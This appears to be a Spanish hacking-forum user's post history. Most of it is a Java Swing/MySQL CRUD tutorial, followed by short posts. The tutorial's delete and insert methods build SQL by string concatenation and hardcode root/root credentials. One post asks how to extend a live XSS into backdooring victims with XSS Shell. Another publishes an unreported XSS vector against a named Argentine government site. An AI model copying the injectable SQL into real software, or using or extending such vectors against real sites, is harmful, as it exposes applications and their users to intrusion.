id_producto.setFont(new Font("Tahoma", Font.PLAIN, 13));
id_producto.setBounds(10, 11, 75, 14);
getContentPane().add(id_producto);

JLabel nombre_producto = new JLabel("Nombre");
nombre_producto.setFont(new Font("Tahoma", Font.PLAIN, 13));
nombre_producto.setBounds(10, 36, 75, 14);
getContentPane().add(nombre_producto);

JLabel precio_producto = new JLabel("Precio");
precio_producto.setFont(new Font("Tahoma", Font.PLAIN, 13));
precio_producto.setBounds(10, 61, 75, 14);
getContentPane().add(precio_producto);

JLabel cantidad_producto = new JLabel("Cantidad");
cantidad_producto.setFont(new Font("Tahoma", Font.PLAIN, 13));
cantidad_producto.setBounds(10, 86, 75, 14);
getContentPane().add(cantidad_producto);

txtID = new JTextField();
txtID.setBounds(95, 9, 86, 20);
getContentPane().add(txtID);
txtID.setColumns(10);

txtNombre = new JTextField();
txtNombre.setColumns(10);
txtNombre.setBounds(95, 34, 86, 20);
getContentPane().add(txtNombre);

txtPrecio = new JTextField();
txtPrecio.setColumns(10);
txtPrecio.setBounds(95, 59, 86, 20);
getContentPane().add(txtPrecio);

txtCantidad = new JTextField();
txtCantidad.setColumns(10);
txtCantidad.setBounds(95, 84, 86, 20);
getContentPane().add(txtCantidad);

aceptar = new JButton("Aceptar");
aceptar.setBounds(50, 127, 119, 33);
getContentPane().add(aceptar);

}
}


  • El Controlador:
Creamos dentro del paquete controlador una clase llamada Controlador que hara de interfaz entre la conexion y consulta a la base de datos y la GUI.
Código: java
package controlador;

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;

import javax.swing.JOptionPane;
import javax.swing.table.DefaultTableModel;

import vista.VentanaVista2;
import vista.VentanaVista;
import modelo.Modelo;

public class Controlador implements ActionListener, MouseListener {
/*
* Controlador:
* Comunica a la interfaz grafica con la logica
*/
private VentanaVista2 vista2;
private Modelo modelo;
private VentanaVista vista;

public Controlador(Modelo _modelo, VentanaVista _vista,
VentanaVista2 _vista2) {
this.vista2 = _vista2;
this.modelo = _modelo;
this.vista = _vista;
this.vista.setVisible(true);
agregarEventos();

}

private void agregarEventos() {

this.vista.btnAgregarProductos.addActionListener(this);// añadimos el// evento
this.vista.btnAgregarProductos.setActionCommand("agregarProductos");// reconocimiento del boton
this.vista.btnEliminarProductos.addActionListener(this);

this.vista.btnEliminarProductos.setActionCommand("eliminarProductos");// reconocimiento del boton
this.vista.btnVerProductos.addActionListener(this);// añadimos el evento
this.vista.btnVerProductos.setActionCommand("verProductos");// reconocimiento del boton
this.vista.itemCreditos.setActionCommand("creditos");
this.vista.itemCreditos.addActionListener(this);
this.vista.btnEditarProductos.addActionListener(this);
this.vista.btnEditarProductos.setActionCommand("editarProductos");

// añade e inicia el jtable con un DefaultTableModel vacio
this.vista.__tabla_producto.addMouseListener(this); // añadimos el
// evento
this.vista.__tabla_producto.setModel(new DefaultTableModel());
this.vista.setLocationRelativeTo(null); // Centramos la aplicacion

}


@Override
public void actionPerformed(ActionEvent evento) { //Se lleva a cabo el manejo de eventos
                                                     
switch (evento.getActionCommand()) {         

case "verProductos":

this.vista.__tabla_producto
.setModel(this.modelo.getTablaProducto());
this.vista.btnVerProductos.setEnabled(false);
break;

case "agregarProductos":

this.vista2 = new VentanaVista2();
this.vista2.setModal(true);
this.vista2.setLocationRelativeTo(vista);
this.vista2.aceptar.addActionListener(this);
this.vista2.aceptar.setActionCommand("nuevoRegistro");
this.vista2.setVisible(true);
break;

case "eliminarProductos":

if (this.modelo.EliminarProducto(
this.vista.__id_producto.getText(),
this.vista.__nombre.getText())) {

this.vista.__tabla_producto.setModel(this.modelo
.getTablaProducto());
this.vista.__id_producto.setText("");
this.vista.__nombre.setText("");
this.vista.__precio.setText("0");
this.vista.__cantidad.setText("0");
}

break;
case "creditos":
JOptionPane.showMessageDialog(this.vista,
"Modificiado y adaptado de http://www.jc-mouse.net/",
"Creditos", JOptionPane.INFORMATION_MESSAGE);

break;
case "editarProductos":

String id = this.vista.__id_producto.getText();
String nombre = this.vista.__nombre.getText();
String precio = this.vista.__precio.getText();
String cantidad = this.vista.__cantidad.getText();
if (this.modelo.editarProducto(id, nombre, precio, cantidad)) {

this.vista.__tabla_producto.setModel(this.modelo
.getTablaProducto());
this.vista.__id_producto.setText("");
this.vista.__nombre.setText("");
this.vista.__precio.setText("0");
this.vista.__cantidad.setText("0");
JOptionPane.showMessageDialog(vista,
"Registro agregado correctamente!!");
} else {
JOptionPane.showMessageDialog(vista,
"Error no pueden existir campos vacios");
}

break;

case "nuevoRegistro":

if (this.modelo.NuevoProducto(this.vista2.txtID.getText(),
this.vista2.txtNombre.getText(),
this.vista2.txtPrecio.getText(),
this.vista2.txtCantidad.getText())) {
this.vista2.dispose();
this.vista.__tabla_producto.setModel(this.modelo
.getTablaProducto());
JOptionPane.showMessageDialog(vista,
"Exito: Nuevo registro agregado.");
this.vista.__id_producto.setText("");
this.vista.__nombre.setText("");
this.vista.__precio.setText("0");
this.vista.__cantidad.setText("0");
} else
// ocurrio un error
JOptionPane.showMessageDialog(vista,
"Error: Los datos son incorrectos.");
break;

}

}

          /*Se implementa el metodo abstracto que atiende el click del mouse
           */
public void mouseClicked(MouseEvent e) {
if (e.getButton() == 1)// Si se presiona click sobre algun elemento del
// JTable lo mostramos en los textFields
{
int fila = this.vista.__tabla_producto.rowAtPoint(e.getPoint());
if (fila > -1) {
this.vista.__id_producto.setText(String
.valueOf(this.vista.__tabla_producto
.getValueAt(fila, 0)));
this.vista.__nombre.setText(String
.valueOf(this.vista.__tabla_producto
.getValueAt(fila, 1)));
this.vista.__precio.setText(String
.valueOf(this.vista.__tabla_producto
.getValueAt(fila, 2)));
this.vista.__cantidad.setText(String
.valueOf(this.vista.__tabla_producto
.getValueAt(fila, 3)));
}

this.vista.__id_producto.setEditable(false);
}
}

@Override
public void mouseEntered(MouseEvent arg0) {
// TODO Auto-generated method stub

}

@Override
public void mouseExited(MouseEvent arg0) {
// TODO Auto-generated method stub

}

@Override
public void mousePressed(MouseEvent arg0) {
// TODO Auto-generated method stub

}

@Override
public void mouseReleased(MouseEvent arg0) {
// TODO Auto-generated method stub

}

}

  • El Modelo:
Dentro del modelo crearemos dos clases Conexion y Modelo, la primera nos conectara a la base de datos y la segunda obtendrá la información necesaria de la misma.

  • Conexion
Código: java
package modelo;

import java.io.ObjectInputStream.GetField;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
/*
* LLeva a cabo la conexion con la base de datos.
*/
public class Conexion {

/*
* Se declaran los atributos de la conexion.
*/
private static String usuario = "root";
private static String password = "root";
private static String baseDeDatos = "";
private static String driver = "com.mysql.jdbc.Driver";
private static String servidor = "jdbc:mysql://localhost/" + baseDeDatos;
private static Connection conexion = null;

/*
* Constructor sobrecargado permite configurar el acceso a cualquier DB especificando
* la tabla el usuario y la contraseña.
*/
public Conexion(String usuario, String password, String baseDeDatos) {
setUsuario(usuario);
setPassword(password);
setBaseDeDatos(baseDeDatos);
Conexion.servidor = "jdbc:mysql://localhost/" + getBaseDeDatos();

}

public Conexion() {

Conexion.servidor = "jdbc:mysql://localhost/" + getBaseDeDatos();

}

/*
* Metodo que se conecta y establece la conexion al servidor
*/
void establecerConexion() {

try {
Class.forName(driver); // Cargo el driver de MYSQL
          conexion = DriverManager.getConnection(servidor, usuario, password); // Establezco la conexion
} catch (ClassNotFoundException | SQLException excepcion) {
System.out.println("Error en la conexion trate incorporando\n El driver a su proyecto ");
}

}
/*
* Metodos GETTERS y SETTERS
*/

public static String getUsuario() {
return usuario;
}

public static void setUsuario(String usuario) {
Conexion.usuario = usuario;
}

public static String getPassword() {
return password;
}

public static void setPassword(String password) {
Conexion.password = password;
}

public static String getDriver() {
return driver;
}

public static void setDriver(String driver) {
Conexion.driver = driver;
}

public static String getServidor() {
return servidor;
}

public static void setServidor(String servidor) {
Conexion.servidor = servidor;
}

public Connection getConexion() {
return conexion;
}

public void setConexion(Connection conexion) {
Conexion.conexion = conexion;
}

public static String getBaseDeDatos() {
return baseDeDatos;
}

public static void setBaseDeDatos(String baseDeDatos) {
Conexion.baseDeDatos = baseDeDatos;
}

}

  • Modelo
Código: java
package modelo;

import javax.swing.table.DefaultTableModel;
import javax.swing.*;

import java.sql.*;
/*
* LLeva a cabo la logica del programa y le entrega los datos procesados
* a los niveles adyacentes
*
*/

public class Modelo {
private Conexion conexionMYSQL;
private boolean res = false;
private boolean bandera = false;

public Modelo() {
conexionMYSQL = new Conexion("root", "root", "dbtest");
//Se establece la base de datos y las claves de acceso para la conexion aL GESTOR MYSQL.
}

//Metodo que retorna un DefaultTableModel permitiendo llenar la tabla del GUI.
public DefaultTableModel getTablaProducto() {
DefaultTableModel tablemodel = new DefaultTableModel();
int registros = 0;
String[] columNames = { "ID", "Nomnbre", "Precio", "Cantidad" }; //Se establecen las columnas de la tabla
// obtenemos la cantidad de registros existentes en la tabla y se
// almacena en la variable "registros"
// para formar la matriz de datos
try {

conexionMYSQL.establecerConexion(); //Nos conectamos a la base de datos

PreparedStatement pstm = conexionMYSQL.getConexion()
.prepareStatement("SELECT count(*) as total FROM producto");
ResultSet res = pstm.executeQuery();
res.next();
registros = res.getInt("total"); //Obtenemos el total de los registros para crear la matriz de objetos
res.close();
} catch (SQLException e) {
System.err.println(e.getMessage());
}
// se crea una matriz con tantas filas y columnas que necesite
Object[][] data = new String[registros][4];
try {
// realizamos la consulta sql y llenamos los datos en la matriz
// "Object[][] data"
PreparedStatement pstm = conexionMYSQL.getConexion()
.prepareStatement("SELECT * FROM producto");
ResultSet res = pstm.executeQuery();
int i = 0;
while (res.next()) {
data[i][0] = res.getString("p_id");
data[i][1] = res.getString("p_nombre");
data[i][2] = res.getString("p_precio");
data[i][3] = res.getString("p_cantidad");
i++;
}
res.close();
// se añade la matriz de datos en el DefaultTableModel
tablemodel.setDataVector(data, columNames);
} catch (SQLException e) {
System.err.println(e.getMessage());
}
return tablemodel; //Retornamos la matriz de datos para que sea cargada en el evento "VER PRODUCTOS"
}

//Metodo para editar/actualizar un registro
public boolean editarProducto(String id, String nombre, String _precio,String _cantidad) {
//Se valida el producto
if (nombre.trim().length() > 0 && id.trim().length() > 0) {
try {
Double precio = Double.parseDouble(_precio.replace(",", "."));

int cantidad = Integer.parseInt(_cantidad);
String actualizar = "UPDATE  `producto` SET  `p_nombre` = ?,`p_precio` =  ?,`p_cantidad` =  ?  WHERE  `p_id` = ?";
PreparedStatement consulta = conexionMYSQL.getConexion()
.prepareStatement(actualizar);
consulta.setString(1, nombre);
consulta.setDouble(2, precio);
consulta.setInt(3, cantidad);
consulta.setString(4, id);

if (consulta.executeUpdate() == 1) {
//Si la consulta se ejecuto correctamente devolvemos verdadero

bandera = true;
} else { //Sino devolvemos falso
bandera = false;
}
} catch (SQLException e) {

System.out.println(e);
}
}
return bandera;

}

//Metodo para eliminar un producto
public boolean EliminarProducto(String id, String nombre) {
if (nombre.trim().length() > 0) { //Si se selecciono un registro se lo elimina

// se arma la consulta
String consultaSQL = " DELETE FROM producto WHERE  p_id='" + id
+ "' ";
// se ejecuta la consulta
try {
PreparedStatement pstm = conexionMYSQL.getConexion()
.prepareStatement(consultaSQL);
pstm.execute();
pstm.close();
res = true;
JOptionPane.showMessageDialog(null,
"Registro eliminado correctamente!!");
} catch (SQLException e) {
System.err.println(e.getMessage());
}
} else {  //Si no se selecciono un registro devuelve un error
res = false;
JOptionPane.showMessageDialog(null,
"Debe seleccionar un registro!!", "Error",
JOptionPane.ERROR_MESSAGE);
}
return res;
}

//Metodo que añade un producto a la base de datos
public boolean NuevoProducto(String id, String nombre, String precio,
String cantidad) {
if (valida_datos(id, nombre, precio, cantidad)) {
// se reemplaza "," por "."
precio = precio.replace(",", ".");
// Se arma la consulta
String consulta = " INSERT INTO producto ( p_id , p_nombre , p_precio, p_cantidad  ) "
+ "VALUES ( '"
+ id
+ "','"
+ nombre
+ "', '"
+ precio
+ "'," + cantidad + " ) ";
// se ejecuta la consulta
try {
PreparedStatement pstm = conexionMYSQL.getConexion()
.prepareStatement(consulta);
pstm.execute();
pstm.close();
return true; // Solo si la consulta se ejecuto devuelve TRUE en
// los demas casos FALSE
} catch (SQLException e) {
System.err.println(e.getMessage());
}
return false;
} else
return false;
}

//Valida que el ID,NOMBRE Y PRECION SEAN VALIDOS
private boolean valida_datos(String id, String nombre, String precio,
String cantidad) {
if (id.equals("  -   ")) //Si el id es igual a - devuelve falso
return false;
else if (nombre.length() > 0 && precio.length() > 0
&& cantidad.length() > 0) { //Si cumple la condicion  devuelve verdadero
return true;
} else   //Si ninguno de los dos cumple devuelve falso
return false;
}

}


  • Clase Ejecutable:
Sera aquella que inicie la aplicacion e instancie al controlador con los objetos correspondientes.
  • Main
Código: java
package ejecutable;

import controlador.Controlador;
import modelo.Modelo;
import vista.VentanaVista;
import vista.VentanaVista2;

/*
* Main es la clase principal que se encarga de ejecutar y correr el programa
*/
public class Main {

public static void main(String[] args) {
VentanaVista2 vista2 = new VentanaVista2();
VentanaVista vista = new VentanaVista();
Modelo modelo = new Modelo();
new Controlador(modelo, vista, vista2);
  //Se pasa como parametro al controlador la vista y el modelo para que este los atienda.                                     

}

}


Por ultimo solo tenemos que añadir el driver a nuestra aplicación y corrobar que todo ande bien.
En eclipse: Click derecho en el proyecto Build Patch -> Configure Build Patch -> Libraries -> Add External Jars
                 

                                           Proyecto andando:
                                         


Se pueden descargar la aplicacion desde aca -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#25
C / C++ / Código Fuente de mi juego preferido!
Septiembre 19, 2014, 12:38:49 PM
Hola gente les dejo el codigo fuente de mi juego preferido por si a alguien le interesa darle una mirada :P


Star Wars Jedi Knight Jedi academy 3


Link -- > No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


PD: Esta programado en C y C++


CitarActivision and Raven are releasing this code for people to learn from and play with. This code is copyright Activision 2003.  This source is released under GNU GPLv2.
#26
Hola gente alguien que me tire una mano por favor.
-Tengo una web vulnerable a XSS (mando un pm a un usuario(victima) y puedo redireccionarlo a mi host atacante)
-Duda.. No puedo robar cookies ya que la web no utiliza este tipo de metodos..
- Estoy probando metodos para backdorear y hacer zombies con XSS Shell


- ¿Alguna idea de que otros tipos de ataques puedo extender a partir de esta peculiar vulnerabilidad?

Desde ya Saludos.
#27
Java / [Libro JAVA] POO
Mayo 24, 2014, 10:13:40 PM
Aporte para la comunidad que tanto conocimiento me ha brindado.






Archivo desde dropbox --->[No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/underc0de.org/foro/java/manual-java2/[/url]
Peso : 20.4 mb

#28


Reportado:No
Vector:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Web:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Autor: LKI
#29
Hola a todos una consulta ¿alguien tiene algún tuto de Winapi o alguno donde se usen las librerias de windows ?. Ya que todos los tutos que encuentro están en ingles y los de youtube no me sirven por que no tengo sonido..
#30
Hacking ShowOff / [XSS] www.tramites.gob.ar
Enero 15, 2014, 09:01:56 PM
Bueno despues de que me banearan he vuelto :3 les dejo mi XSS:




URL afectada: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Path afectado: Buscador
Reportado: NEIN
Vector: "><center><img%20src="[url="http://sia1.subirimagenes.net/img/2014/01/16/mini_140116124343120800.jpg"%20height="300"%20width="300""]http://sia1.subirimagenes.net/img/2014/01/16/mini_140116124343120800.jpg"%20height="300"%20width="300"[/url]></center>"